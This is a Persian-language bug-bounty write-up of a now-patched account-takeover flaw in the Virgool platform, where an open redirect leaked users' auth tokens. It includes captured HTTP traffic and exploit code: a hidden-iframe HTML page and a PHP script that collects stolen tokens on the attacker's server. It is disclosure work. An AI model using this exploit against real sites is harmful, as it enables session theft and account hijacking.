چطور من می‌تونستم حساب ویرگول هرکی رو هک کنم؟

خب این نوشتار مربطو به آسیب‌پذیری هست که توی ویرگول پیدا کردم، به بچه‌های ویرگول اطلاع دادم و الان که این پست عمومی میشه، آسیب‌پذیری مرتفع شده.

داستان به این شکل بود که ویرگول قابلیت domain parking رو به کاربراش میده، برای مثال site.com می‌تونه یک کپی از virgoo.io/virgoolname باشه. در حالی که توی ویرگول لاگین نبودم، داشتم از سایت https://tech.cafebazaar.ir بازدید می‌کردم،‌ متوجه یه لینک شدم:

https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login

روی لینک کلیک کردم، به سایت اصلی ویرگول منتقل شدم، لاگین کردم و به‌صورت خودکار به سایتی که توش بودم برگشتم (https://tech.cafebazaar.ir). اگه بخوایم جریان‌کاری رو ببینیم (به قسمت‌های پررنگ‌تر توجه بیشتر بشه):

‍‍‍GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1

جواب سرور:

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830

بعد از وارد کردن اطلاعات و کلیک روی دکمه «ورود»:

POST /api/v1.2/login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/login
X-XSRF-TOKEN: REDUCTED
Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359
Content-Length: 319
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="username"
y.shahinzadeh@gmail.com
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="password"
REDUCTED
-----------------------------1803676204095613341172964359--

جواب:

HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612
{"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}

خب تا اینجا هیچ مشکلی مشاهده نمیشه. ایده فاز کردن URL توی لینک لاگین (https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login) اصلا جذاب نیست، چرا؟ برای اینکه فرض کنید بتونیم چنین لینکی رو به قربانی بدیم:

https://virgool.io/authorize?redirectedFrom=https://test.com&status=login

بعد از انجام فرایند لاگین، کاربر به https://test.com هدایت مجدد میشه (تازه اگه چک نشه)، و خب سوالی که پیش میاد اینه: که چی؟ یه Open Redirect ساده هست با ایمپکت پایین. خب اینجا بنظر من قبل اینکه باقی نوشته رو بخونید، تو ذهن خودتون سناریوهای حمله رو که میشه اینجا پیاده‌سازی کرد ترسیم کنید. اولین چیزی که اون موقع تست کردم و منجر به کشف آسیب‌پذیری هم شد،‌ این سناریو بود:

چی میشه اگه کاربری که الان لاگین هست، روی لینک کلیک کنه؟

جالب اینه امروز این رو از یک شخص پرسیدم و جواب داد: خب میره اونور یه توکن رفرش بش میده و برمی‌گرده. یعنی خیلی براش بدیهی بود این رفتار، حداقل برای من توی اون لحظه نبود اما چک کردم. خب درخواست با سشن لاگین:

GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: REDUCTED
Upgrade-Insecure-Requests: 1

جواب به شدت جالب بود:

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:34:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0}
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io;  img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com  https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly  chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; 
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 6482

همون حدث دوستمون درست بود (صد آفرین). کاربر با توکن برمی‌گرده سمت صفحه اولی که توش بوده. خب چی میشه اگه ما بتونیم به این توکن دسترسی داشته باشیم؟ می‌توینم بجای کاربر لاگین کنیم (بدون داشتن نام‌کاربری و گذرواژه)، در واقع اکانت رو تصاحب کنیم. با چه آسیب‌پذیری میشه این توکن رو سرقت کرد؟ دقیقا... Open Redirect که همیشه در حقش اجحاف میشه. تست کردم:

GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...

و جواب:

HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}
...

و تامام. حساب تصاحب میشه، از این قسمت به بعد وارد فاز اکسپلویت کردن می‌شیم. کد اکسپلویت:

<style>
iframe {
    visibility: hidden;
    position: absolute;
    left: 0; top: 0;
    height:0; width:0;
    border: none;
}
</style>
<center><img src="troll.jpg"></center> <iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>

محتویات صفحه g.php:

<?php
file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'');
?>

وقتی قربانی در حالی که توی حساب ویرگول خودش لاگین هست، از سایت مهاجم بازدید کنه، چنین درخواستی رو برای سرور ماجم می‌فرسته که توکن اصالت‌سنجی توش هست:

GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

و مهاجم می‌تونه با این توکن به‌جای کاربر لاگین کنه. این هم لینک ویدئو اثبات آسیب‌پذیری که درک خیلی خوبی از شدت حمله میده:

https://www.youtube.com/watch?v=ofXsnM7UozY


در آخر هم جا داره تشکر کنم از تیم فنی ویرگول که بسیار خوش برخورد بودن و بانتی (اصلا مبلغش مهم نیست) به این آسیب‌پذیری اختصاص دادن، همچنین سرعت عمل بسیار بالایی در دریافت و صدور وصله امنیتی داشتن.